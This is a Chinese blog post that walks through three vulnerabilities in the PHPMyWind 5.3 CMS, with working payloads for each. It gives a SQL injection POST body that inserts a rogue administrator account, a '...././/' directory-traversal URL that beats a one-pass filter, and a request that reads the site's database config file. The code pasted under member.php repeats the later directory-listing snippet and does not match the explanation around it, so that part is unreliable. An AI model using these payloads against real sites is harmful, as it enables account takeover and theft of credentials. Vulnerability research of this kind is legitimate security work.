phpmywind最新版sql注入以及后台目录遍历和文件读取

最新版本 5.3
看wooyun厂商这忽略的架势就觉得是有点放弃治疗的想法啊。

前台会员注入

分析

http://www.wooyun.org/bugs/wooyun-2015-0117008
我看了一下最新版还有这个注入,而作者给的exp有坑处。

这是一个完善账号的功能,在核心文件里面,这个程序用了伪全局,也就导致可以给未初始化的变量赋值。
member.php文件

if(empty($dirname) or $dirname=='uploads/')
{
        $dirname = 'uploads/';
        $dirhigh = 'javascript:;';
        $dirtext = '当前是根目录';
}
else
{
 
        $dirname = str_replace(array('..\\', '../', './', '.\\'), '', trim($dirname));   //出问题的地方
        $dirname = htmlspecialchars($dirname);
        $dirhigh = '?dirname=';
        $dirtext = '返回上一层';
        $dirarr = explode('/', $dirname);
        $curnum = count($dirarr)-2;
        for($i=0; $i<$curnum; $i++)
        {
                $dirhigh .= $dirarr[$i].'/';
        }
}

看这个if,也就直接不然它check_app_login到是qq或者是微博就直接进入ExecNoneQuery的查询。加上可以直接赋值导致sql漏洞出现。

利用

先注册一个账号,testaa,123456,登录后。
访问:
http://10.211.55.3/phpmywind/PHPMyWind_5.3/member.php?a=perfect
并post:

username=123123a123x&password=a123123123&repassword=a123123123&email=a12312@qq.com&sql=insert into pmw_admin (`username`,`password`,`levelname`) values((1231235),0x6333323834643066393436303664653166643261663137326162613135626633,1)

wooyun那个exp没有加上levelname,以及那个password说是md5一次。
这里password是admin,先经过两次md5,再hex(有过滤),这样就能得到一个管理员权限的账号。

目录遍历

/admin/upload_filemgr_dir.php文件

if(empty($dirname) or $dirname=='uploads/')
{
        $dirname = 'uploads/';
        $dirhigh = 'javascript:;';
        $dirtext = '当前是根目录';
}
else
{
 
        $dirname = str_replace(array('..\\', '../', './', '.\\'), '', trim($dirname));   //出问题的地方
        $dirname = htmlspecialchars($dirname);
        $dirhigh = '?dirname=';
        $dirtext = '返回上一层';
        $dirarr = explode('/', $dirname);
        $curnum = count($dirarr)-2;
        for($i=0; $i<$curnum; $i++)
        {
                $dirhigh .= $dirarr[$i].'/';
        }
}

$dirname = str_replace(array('..\\', '../', './', '.\\'), '', trim($dirname));
这些过滤为空,并没有用循环去过滤,所以就很容易出问题。
由于这个是先过滤了../,再过滤./
所以可以构造一下...././/,这样经过滤后就能得到../字符导致目录遍历。

http://10.211.55.3/phpmywind/PHPMyWind_5.3/admin/upload_filemgr_dir.php?dirname=uploads/...././/...././/

文件读取

/admin/editfile_update.php文件

<?php
 
//设置文件编码
$action = isset($action) ? $action : '';
 
//更新编辑文件
if($action == 'update')
{
        if($cfg_editfile == 'Y')
        {
                //设置读取目录
                $dir = PHPMYWIND_ROOT.'/';
         
                //处理写入内容
                $content = stripslashes($content);
                $content = str_replace("##textarea","<textarea",$content);
                $content = str_replace("##/textarea","</textarea",$content);
                $content = str_replace("##form","<form",$content);
                $content = str_replace("##/form","</form",$content);
         
                //内容写入文件
                Writef($dir.$filename, $content, 'w');
 
                ShowMsg('文件保存成功!','editfile.php');
                exit();
        }
        else
        {
                ShowMsg('后台不允许直接编辑PHP文件!','editfile.php');
                exit();
        }
}
 
 
//显示编辑文件
if(!empty($filename))
{
        //设置读取目录
        $dir        = PHPMYWIND_ROOT.'/';
        $filename   = iconv('utf-8', 'gb2312', $filename);
        $gbfilename = mb_convert_encoding($filename, 'utf-8', 'gb2312');
 
        if(file_exists($dir.$filename))
        {
                $content = '';
                $fp = fopen($dir.$filename, 'r');
                 
                if(filesize($dir.$filename) > 0)
                {
                        $content = fread($fp, filesize($dir.$filename));
                        $content = str_replace("<textarea","##textarea",$content);
                        $content = str_replace("</textarea","##/textarea",$content);
                        $content = str_replace("<form","##form",$content);
                        $content = str_replace("</form","##/form",$content);
                }
 
                fclose($fp);
        }
        else
        {
                echo '<script type="text/javascript">alert("您所编辑的文件不存在!");location.href="editfile.php"</script>';
        }
}
?>

其实这个和第一个注入有点相似。if($action == 'update')
直接不进入这个判断就可以导致后面代码的执行以至于文件读取,直接读取db配置文件。

http://10.211.55.3/phpmywind/PHPMyWind_5.3/admin/editfile_update.php?filename=/include/conn.inc.php
posted @ 2016-06-17 22:25 l3m0n 阅读(...) 评论(...)  编辑 收藏